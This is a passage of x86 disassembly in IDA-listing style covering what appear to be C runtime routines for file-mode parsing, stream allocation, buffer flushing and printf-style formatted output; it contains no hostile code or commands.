or ch, 40h
jmp loc_41F591
; ---------------------------------------------------------------------------
loc_41F63E: ; CODE XREF: sub_41F54D+DDj
cmp [ebp+var_8], ebx
jnz short loc_41F671
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41F591
; ---------------------------------------------------------------------------
loc_41F655: ; CODE XREF: sub_41F54D+D8j
cmp [ebp+var_8], ebx
jnz short loc_41F671
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41F591
; ---------------------------------------------------------------------------
loc_41F66C: ; CODE XREF: sub_41F54D+D5j
test ch, 0C0h
jz short loc_41F678
loc_41F671: ; CODE XREF: sub_41F54D+72j
; sub_41F54D+7Bj ...
xor edx, edx
jmp loc_41F591
; ---------------------------------------------------------------------------
loc_41F678: ; CODE XREF: sub_41F54D+122j
or ch, 80h
jmp loc_41F591
; ---------------------------------------------------------------------------
loc_41F680: ; CODE XREF: sub_41F54D+4Aj
; sub_41F54D+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_423C7E
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41F69E
loc_41F69A: ; CODE XREF: sub_41F54D+25j
xor eax, eax
jmp short loc_41F6B8
; ---------------------------------------------------------------------------
loc_41F69E: ; CODE XREF: sub_41F54D+14Bj
mov eax, [ebp+arg_C]
inc ds:dword_4DDF8C
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41F6B8: ; CODE XREF: sub_41F54D+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41F54D endp
; =============== S U B R O U T I N E =======================================
sub_41F6BD proc near ; CODE XREF: sub_41B692p
mov edx, ds:dword_4DF300
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41F72E
mov ebx, ds:dword_4DE2E4
mov edi, ebx
loc_41F6D9: ; CODE XREF: sub_41F6BD+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41F6F4
test byte ptr [ecx+0Ch], 83h
jz short loc_41F6EF
inc eax
add edi, 4
cmp eax, edx
jl short loc_41F6D9
jmp short loc_41F72E
; ---------------------------------------------------------------------------
loc_41F6EF: ; CODE XREF: sub_41F6BD+26j
mov esi, [ebx+eax*4]
jmp short loc_41F718
; ---------------------------------------------------------------------------
loc_41F6F4: ; CODE XREF: sub_41F6BD+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41B6C5
pop ecx
mov ecx, ds:dword_4DE2E4
mov [edi+ecx], eax
mov eax, ds:dword_4DE2E4
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41F72E
mov esi, edi
loc_41F718: ; CODE XREF: sub_41F6BD+35j
cmp esi, ebp
jz short loc_41F72E
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41F72E: ; CODE XREF: sub_41F6BD+12j
; sub_41F6BD+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F6BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F735 proc near ; CODE XREF: sub_41B8DE+17p
; sub_41B8DE+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41F753
mov ecx, ds:off_43EF88
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41F7A5
; ---------------------------------------------------------------------------
loc_41F753: ; CODE XREF: sub_41F735+10j
mov ecx, eax
push esi
mov esi, ds:off_43EF88
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41F778
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41F781
; ---------------------------------------------------------------------------
loc_41F778: ; CODE XREF: sub_41F735+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41F781: ; CODE XREF: sub_41F735+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call loc_423F37
add esp, 1Ch
test eax, eax
jnz short loc_41F7A1
leave
retn
; ---------------------------------------------------------------------------
loc_41F7A1: ; CODE XREF: sub_41F735+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41F7A5: ; CODE XREF: sub_41F735+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41F735 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F7AA proc near ; CODE XREF: sub_41BA76+46p
; sub_41BB70+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41F8B3
test al, 40h
jnz loc_41F8B3
test al, 1
jz short loc_41F7E2
and dword ptr [esi+4], 0
test al, 10h
jz loc_41F8B3
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41F7E2: ; CODE XREF: sub_41F7AA+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F81C
cmp esi, offset dword_43F578
jz short loc_41F80A
cmp esi, offset dword_43F598
jnz short loc_41F815
loc_41F80A: ; CODE XREF: sub_41F7AA+56j
push ebx
call sub_424080
test eax, eax
pop ecx
jnz short loc_41F81C
loc_41F815: ; CODE XREF: sub_41F7AA+5Ej
push esi
call sub_423C3A
pop ecx
loc_41F81C: ; CODE XREF: sub_41F7AA+4Ej
; sub_41F7AA+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41F889
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41F84C
push edi
push eax
push ebx
call loc_422BF6
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41F87F
; ---------------------------------------------------------------------------
loc_41F84C: ; CODE XREF: sub_41F7AA+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41F867
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, ds:dword_4DE1E0[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41F86C
; ---------------------------------------------------------------------------
loc_41F867: ; CODE XREF: sub_41F7AA+A5j
mov eax, offset dword_43F860
loc_41F86C: ; CODE XREF: sub_41F7AA+BBj
test byte ptr [eax+4], 20h
jz short loc_41F87F
push 2
push 0
push ebx
call sub_422A04
add esp, 0Ch
loc_41F87F: ; CODE XREF: sub_41F7AA+A0j
; sub_41F7AA+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41F89D
; ---------------------------------------------------------------------------
loc_41F889: ; CODE XREF: sub_41F7AA+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call loc_422BF6
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41F89D: ; CODE XREF: sub_41F7AA+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41F8A9
or dword ptr [esi+0Ch], 20h
jmp short loc_41F8B8
; ---------------------------------------------------------------------------
loc_41F8A9: ; CODE XREF: sub_41F7AA+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41F8BB
; ---------------------------------------------------------------------------
loc_41F8B3: ; CODE XREF: sub_41F7AA+10j
; sub_41F7AA+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41F8B8: ; CODE XREF: sub_41F7AA+FDj
or eax, 0FFFFFFFFh
loc_41F8BB: ; CODE XREF: sub_41F7AA+107j
pop esi
pop ebx
pop ebp
retn
sub_41F7AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F8BF proc near ; CODE XREF: sub_41BA76+29p
; sub_41BB70+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_41FFD8
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41F8F3
; ---------------------------------------------------------------------------
loc_41F8EB: ; CODE XREF: sub_41F8BF+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41F8F3: ; CODE XREF: sub_41F8BF+2Aj
cmp [ebp+var_14], edx
jl loc_41FFD8
cmp bl, 20h
jl short loc_41F914
cmp bl, 78h
jg short loc_41F914
movsx eax, bl
mov al, byte ptr ds:(a__global_heap_+10h)[eax]
and eax, 0Fh
jmp short loc_41F916
; ---------------------------------------------------------------------------
loc_41F914: ; CODE XREF: sub_41F8BF+40j
; sub_41F8BF+45j
xor eax, eax
loc_41F916: ; CODE XREF: sub_41F8BF+53j
movsx eax, ds:byte_42875C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_41FFC7 ; default
jmp ds:off_41FFE0[eax*4] ; switch jump
loc_41F934: ; DATA XREF: seg000:off_41FFE0o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F92D case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41F94F: ; CODE XREF: sub_41F8BF+6Ej
; DATA XREF: seg000:off_41FFE0o
movsx eax, bl ; jumptable 0041F92D case 2
sub eax, 20h
jz short loc_41F992
sub eax, 3
jz short loc_41F989
sub eax, 8
jz short loc_41F980
dec eax
dec eax
jz short loc_41F977
sub eax, 3
jnz loc_41FFC7 ; default
or [ebp+var_4], 8
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41F977: ; CODE XREF: sub_41F8BF+A4j
or [ebp+var_4], 4
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41F980: ; CODE XREF: sub_41F8BF+A0j
or [ebp+var_4], 1
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41F989: ; CODE XREF: sub_41F8BF+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41F992: ; CODE XREF: sub_41F8BF+96j
or [ebp+var_4], 2
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41F99B: ; CODE XREF: sub_41F8BF+6Ej
; DATA XREF: seg000:off_41FFE0o
cmp bl, 2Ah ; jumptable 0041F92D case 3
jnz short loc_41F9C3
lea eax, [ebp+arg_8]
push eax
call sub_42009E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_41FFC7 ; default
or [ebp+var_4], 4
neg eax
loc_41F9BB: ; CODE XREF: sub_41F8BF+111j
mov [ebp+var_20], eax
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41F9C3: ; CODE XREF: sub_41F8BF+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_41F9BB
; ---------------------------------------------------------------------------
loc_41F9D2: ; CODE XREF: sub_41F8BF+6Ej
; DATA XREF: seg000:off_41FFE0o
mov [ebp+var_10], edx ; jumptable 0041F92D case 4
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41F9DA: ; CODE XREF: sub_41F8BF+6Ej
; DATA XREF: seg000:off_41FFE0o
cmp bl, 2Ah ; jumptable 0041F92D case 5
jnz short loc_41F9FD
lea eax, [ebp+arg_8]
push eax
call sub_42009E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_41FFC7 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41F9FD: ; CODE XREF: sub_41F8BF+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41FA0F: ; CODE XREF: sub_41F8BF+6Ej
; DATA XREF: seg000:off_41FFE0o
cmp bl, 49h ; jumptable 0041F92D case 6
jz short loc_41FA42
cmp bl, 68h
jz short loc_41FA39
cmp bl, 6Ch
jz short loc_41FA30
cmp bl, 77h
jnz loc_41FFC7 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41FA30: ; CODE XREF: sub_41F8BF+15Dj
or [ebp+var_4], 10h
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41FA39: ; CODE XREF: sub_41F8BF+158j
or [ebp+var_4], 20h
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41FA42: ; CODE XREF: sub_41F8BF+153j
cmp byte ptr [edi], 36h
jnz short loc_41FA5B
cmp byte ptr [edi+1], 34h
jnz short loc_41FA5B
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41FA5B: ; CODE XREF: sub_41F8BF+186j
; sub_41F8BF+18Cj
mov [ebp+var_30], edx
loc_41FA5E: ; CODE XREF: sub_41F8BF+6Ej
; DATA XREF: seg000:off_41FFE0o
mov ecx, ds:off_43EF88 ; jumptable 0041F92D case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41FA8A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420000
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_41FA8A: ; CODE XREF: sub_41F8BF+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420000
add esp, 0Ch
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41FAA2: ; CODE XREF: sub_41F8BF+6Ej
; DATA XREF: seg000:off_41FFE0o
movsx eax, bl ; jumptable 0041F92D case 7
cmp eax, 67h
jg loc_41FCCA
cmp eax, 65h
jge loc_41FB4D
cmp eax, 58h
jg loc_41FBAB
jz loc_41FD3E
sub eax, 43h
jz loc_41FB6E
dec eax
dec eax
jz short loc_41FB43
dec eax
dec eax
jz short loc_41FB43
sub eax, 0Ch
jnz loc_41FEC9
test word ptr [ebp+var_4], 830h
jnz short loc_41FAEC
or byte ptr [ebp+var_4+1], 8
loc_41FAEC: ; CODE XREF: sub_41F8BF+227j
; sub_41F8BF+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_41FAF9
mov esi, 7FFFFFFFh
loc_41FAF9: ; CODE XREF: sub_41F8BF+233j
lea eax, [ebp+arg_8]
push eax
call sub_42009E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41FD12
test ecx, ecx
jnz short loc_41FB21
mov ecx, ds:off_43F1A4
mov [ebp+var_8], ecx
loc_41FB21: ; CODE XREF: sub_41F8BF+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_41FB2A: ; CODE XREF: sub_41F8BF+282j
mov edx, esi
dec esi
test edx, edx
jz loc_41FD09
cmp word ptr [eax], 0
jz loc_41FD09
inc eax
inc eax
jmp short loc_41FB2A
; ---------------------------------------------------------------------------
loc_41FB43: ; CODE XREF: sub_41F8BF+212j
; sub_41F8BF+216j
mov [ebp+var_34], 1
add bl, 20h
loc_41FB4D: ; CODE XREF: sub_41F8BF+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_41FC31
mov [ebp+var_10], 6
jmp loc_41FC3F
; ---------------------------------------------------------------------------
loc_41FB6E: ; CODE XREF: sub_41F8BF+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_41FB7A
or byte ptr [ebp+var_4+1], 8
loc_41FB7A: ; CODE XREF: sub_41F8BF+2B5j
; sub_41F8BF+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FBC1
call sub_4200BB
push eax
lea eax, [ebp+var_248]
push eax
call sub_4240A6
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_41FBD4
mov [ebp+var_28], 1
jmp short loc_41FBD4
; ---------------------------------------------------------------------------
loc_41FBAB: ; CODE XREF: sub_41F8BF+1FBj
sub eax, 5Ah
jz short loc_41FBE2
sub eax, 9
jz short loc_41FB7A
dec eax
jz loc_41FDA4
jmp loc_41FEC9
; ---------------------------------------------------------------------------
loc_41FBC1: ; CODE XREF: sub_41F8BF+2C5j
call sub_42009E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_41FBD4: ; CODE XREF: sub_41F8BF+2E1j
; sub_41F8BF+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_41FEC9
; ---------------------------------------------------------------------------
loc_41FBE2: ; CODE XREF: sub_41F8BF+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_42009E
test eax, eax
pop ecx
jz short loc_41FC23
mov ecx, [eax+4]
test ecx, ecx
jz short loc_41FC23
test byte ptr [ebp+var_4+1], 8
jz short loc_41FC14
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_41FEC9
; ---------------------------------------------------------------------------
loc_41FC14: ; CODE XREF: sub_41F8BF+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_41FEC6
; ---------------------------------------------------------------------------
loc_41FC23: ; CODE XREF: sub_41F8BF+32Fj
; sub_41F8BF+336j
mov eax, ds:off_43F1A0
mov [ebp+var_8], eax
push eax
jmp loc_41FCBF
; ---------------------------------------------------------------------------
loc_41FC31: ; CODE XREF: sub_41F8BF+29Dj
jnz short loc_41FC3F
cmp bl, 67h
jnz short loc_41FC3F
mov [ebp+var_10], 1
loc_41FC3F: ; CODE XREF: sub_41F8BF+2AAj
; sub_41F8BF:loc_41FC31j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call ds:off_43F530
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41FC91
cmp [ebp+var_10], 0
jnz short loc_41FC91
lea eax, [ebp+var_248]
push eax
call ds:off_43F53C
pop ecx
loc_41FC91: ; CODE XREF: sub_41F8BF+3BCj
; sub_41F8BF+3C2j
cmp bl, 67h
jnz short loc_41FCA8
test esi, esi
jnz short loc_41FCA8
lea eax, [ebp+var_248]
push eax
call ds:off_43F534
pop ecx
loc_41FCA8: ; CODE XREF: sub_41F8BF+3D5j
; sub_41F8BF+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41FCBE
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41FCBE: ; CODE XREF: sub_41F8BF+3F0j
push edi
loc_41FCBF: ; CODE XREF: sub_41F8BF+36Dj
call sub_41B1D0
pop ecx
jmp loc_41FEC6
; ---------------------------------------------------------------------------
loc_41FCCA: ; CODE XREF: sub_41F8BF+1E9j
sub eax, 69h
jz loc_41FDA4
sub eax, 5
jz loc_41FD7A
dec eax
jz loc_41FD67
dec eax
jz short loc_41FD37
sub eax, 3
jz loc_41FAEC
dec eax
dec eax
jz loc_41FDA8
sub eax, 3
jnz loc_41FEC9
mov [ebp+var_2C], 27h
jmp short loc_41FD45
; ---------------------------------------------------------------------------
loc_41FD09: ; CODE XREF: sub_41F8BF+270j
; sub_41F8BF+27Aj
sub eax, ecx
sar eax, 1
jmp loc_41FEC6
; ---------------------------------------------------------------------------
loc_41FD12: ; CODE XREF: sub_41F8BF+24Fj
test ecx, ecx
jnz short loc_41FD1F
mov ecx, ds:off_43F1A0
mov [ebp+var_8], ecx
loc_41FD1F: ; CODE XREF: sub_41F8BF+455j
mov eax, ecx
loc_41FD21: ; CODE XREF: sub_41F8BF+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_41FD30
cmp byte ptr [eax], 0
jz short loc_41FD30
inc eax
jmp short loc_41FD21
; ---------------------------------------------------------------------------
loc_41FD30: ; CODE XREF: sub_41F8BF+467j
; sub_41F8BF+46Cj
sub eax, ecx
jmp loc_41FEC6
; ---------------------------------------------------------------------------
loc_41FD37: ; CODE XREF: sub_41F8BF+425j
mov [ebp+var_10], 8
loc_41FD3E: ; CODE XREF: sub_41F8BF+201j
mov [ebp+var_2C], 7
loc_41FD45: ; CODE XREF: sub_41F8BF+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41FDAF
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41FDAF
; ---------------------------------------------------------------------------
loc_41FD67: ; CODE XREF: sub_41F8BF+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41FDAF
or byte ptr [ebp+var_4+1], 2
jmp short loc_41FDAF
; ---------------------------------------------------------------------------
loc_41FD7A: ; CODE XREF: sub_41F8BF+417j
lea eax, [ebp+arg_8]
push eax
call sub_42009E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_41FD93
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_41FD98
; ---------------------------------------------------------------------------
loc_41FD93: ; CODE XREF: sub_41F8BF+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41FD98: ; CODE XREF: sub_41F8BF+4D2j
mov [ebp+var_28], 1
jmp loc_41FFC7 ; default
; ---------------------------------------------------------------------------
loc_41FDA4: ; CODE XREF: sub_41F8BF+2F7j
; sub_41F8BF+40Ej
or [ebp+var_4], 40h
loc_41FDA8: ; CODE XREF: sub_41F8BF+432j
mov [ebp+var_C], 0Ah
loc_41FDAF: ; CODE XREF: sub_41F8BF+491j
; sub_41F8BF+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41FDC1
lea eax, [ebp+arg_8]
push eax
call sub_4200AB
pop ecx
jmp short loc_41FE02
; ---------------------------------------------------------------------------
loc_41FDC1: ; CODE XREF: sub_41F8BF+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_41FDE8
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FDDD
call sub_42009E
pop ecx
movsx eax, ax
loc_41FDDA: ; CODE XREF: sub_41F8BF+527j
; sub_41F8BF+539j
cdq
jmp short loc_41FE02
; ---------------------------------------------------------------------------
loc_41FDDD: ; CODE XREF: sub_41F8BF+510j
call sub_42009E
pop ecx
movzx eax, ax
jmp short loc_41FDDA
; ---------------------------------------------------------------------------
loc_41FDE8: ; CODE XREF: sub_41F8BF+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FDFA
call sub_42009E
pop ecx
jmp short loc_41FDDA
; ---------------------------------------------------------------------------
loc_41FDFA: ; CODE XREF: sub_41F8BF+531j
call sub_42009E
pop ecx
xor edx, edx
loc_41FE02: ; CODE XREF: sub_41F8BF+500j
; sub_41F8BF+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_41FE23
test edx, edx
jg short loc_41FE23
jl short loc_41FE12
test eax, eax
jnb short loc_41FE23
loc_41FE12: ; CODE XREF: sub_41F8BF+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_41FE27
; ---------------------------------------------------------------------------
loc_41FE23: ; CODE XREF: sub_41F8BF+547j
; sub_41F8BF+54Bj ...
mov esi, eax
mov edi, edx
loc_41FE27: ; CODE XREF: sub_41F8BF+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_41FE30
and edi, 0
loc_41FE30: ; CODE XREF: sub_41F8BF+56Cj
cmp [ebp+var_10], 0
jge short loc_41FE3F
mov [ebp+var_10], 1
jmp short loc_41FE43
; ---------------------------------------------------------------------------
loc_41FE3F: ; CODE XREF: sub_41F8BF+575j
and [ebp+var_4], 0FFFFFFF7h
loc_41FE43: ; CODE XREF: sub_41F8BF+57Ej
mov eax, esi
or eax, edi
jnz short loc_41FE4D
and [ebp+var_1C], 0
loc_41FE4D: ; CODE XREF: sub_41F8BF+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_41FE53: ; CODE XREF: sub_41F8BF+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_41FE63
mov eax, esi
or eax, edi
jz short loc_41FE9E
loc_41FE63: ; CODE XREF: sub_41F8BF+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41D6A0
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41D630
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_41FE94
add ebx, [ebp+var_2C]
loc_41FE94: ; CODE XREF: sub_41F8BF+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_41FE53
; ---------------------------------------------------------------------------
loc_41FE9E: ; CODE XREF: sub_41F8BF+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_41FEC9
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_41FEBC
test eax, eax
jnz short loc_41FEC9
loc_41FEBC: ; CODE XREF: sub_41F8BF+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_41FEC6: ; CODE XREF: sub_41F8BF+35Fj
; sub_41F8BF+406j ...
mov [ebp+var_C], eax
loc_41FEC9: ; CODE XREF: sub_41F8BF+21Bj
; sub_41F8BF+2FDj ...
cmp [ebp+var_28], 0
jnz loc_41FFC7 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41FF01
test bh, 1
jz short loc_41FEE6
mov [ebp+var_16], 2Dh
jmp short loc_41FEFA
; ---------------------------------------------------------------------------
loc_41FEE6: ; CODE XREF: sub_41F8BF+61Fj
test bl, 1
jz short loc_41FEF1
mov [ebp+var_16], 2Bh
jmp short loc_41FEFA
; ---------------------------------------------------------------------------
loc_41FEF1: ; CODE XREF: sub_41F8BF+62Aj
test bl, 2
jz short loc_41FF01
mov [ebp+var_16], 20h
loc_41FEFA: ; CODE XREF: sub_41F8BF+625j
; sub_41F8BF+630j
mov [ebp+var_1C], 1
loc_41FF01: ; CODE XREF: sub_41F8BF+61Aj
; sub_41F8BF+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41FF21
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_420035
add esp, 10h
loc_41FF21: ; CODE XREF: sub_41F8BF+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_420066
add esp, 10h
test bl, 8
jz short loc_41FF53
test bl, 4
jnz short loc_41FF53
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_420035
add esp, 10h
loc_41FF53: ; CODE XREF: sub_41F8BF+67Bj
; sub_41F8BF+680j
cmp [ebp+var_24], 0
jz short loc_41FF9A
cmp [ebp+var_C], 0
jle short loc_41FF9A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_41FF68: ; CODE XREF: sub_41F8BF+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_4240A6
pop ecx
test eax, eax
pop ecx
jle short loc_41FFAF
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_420066
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_41FF68
jmp short loc_41FFAF
; ---------------------------------------------------------------------------
